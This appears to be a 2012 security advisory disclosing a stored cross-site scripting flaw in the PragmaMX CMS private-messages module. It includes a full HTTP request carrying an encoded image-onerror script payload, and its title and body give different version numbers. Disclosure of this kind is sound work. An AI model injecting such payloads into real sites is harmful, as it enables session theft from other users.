PragmaMX 1.2.10 – Persistent Cross-Site Scripting
# TITLE ... # Persistent XSS in PragmaMX 1.12.0 for logged in users # # DATE .... # 30.01.2012 .......................................... # # AUTOHR .. # http://hauntit.blogspot.com ................ # # SOFT LINK # http://www.pragmamx.org ............................. # # VERSION . # 1.12.0 .............................................. # # TESTED ON # LAMP ................................................ # #...................................................................# # 1. What is this? # 2. What is the type of vulnerability? # 3. Where is bug :) # 4. More... #............................................# # 1. What is this? "pragmaMx - the fast CMS". :) You should try it! # 2. What is the type of vulnerability? This is persistent cross-site scripting for authenticated users. Vulnerability exists in "Private Messages". Here I present You sample HTTP traffic (from BurpProxy). ...cut... POST /pragmaMx_1.12.0/html/modules.php?name=Private_Messages HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Ubuntu; X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://pragmaMx_1.12.0/html/modules.php?name=Private_Messages&op=send Cookie: mxA9649D14D6AAF90E4A70576BF4ACC1=6db52d6de453f7a5890b36ebafd99fda; tab_ya_edituser=0; PHPSESSID=d7nhrjbs5i2pmjvo6vuj1hg2j1 Content-Type: application/x-www-form-urlencoded Content-Length: 200 name=Private_Messages&op=submit&to_user=adminek&subject=persistent+MSG&image=icon1.gif&message=hi%21%0D%0A%27%3E%3Cimg+src%3Dy+onerror%3Dalert%28%27i+am+watching+you%27%29%3B%3E&msg_id=0&submit=Submit ...cut... It depends on what code You will add to $message. Persistent XSS code could be added when You decide to reply, too. So click 'Reply' button, and as a $message parameter add Your XSS-code. # 3. Where is bug :) $message parameter in source code. We need (more) validation here. :) # 4. More... - http://www.pragmamx.org - http://hauntit.blogspot.com - http://www.google.com - http://portswigger.net # Best regards # |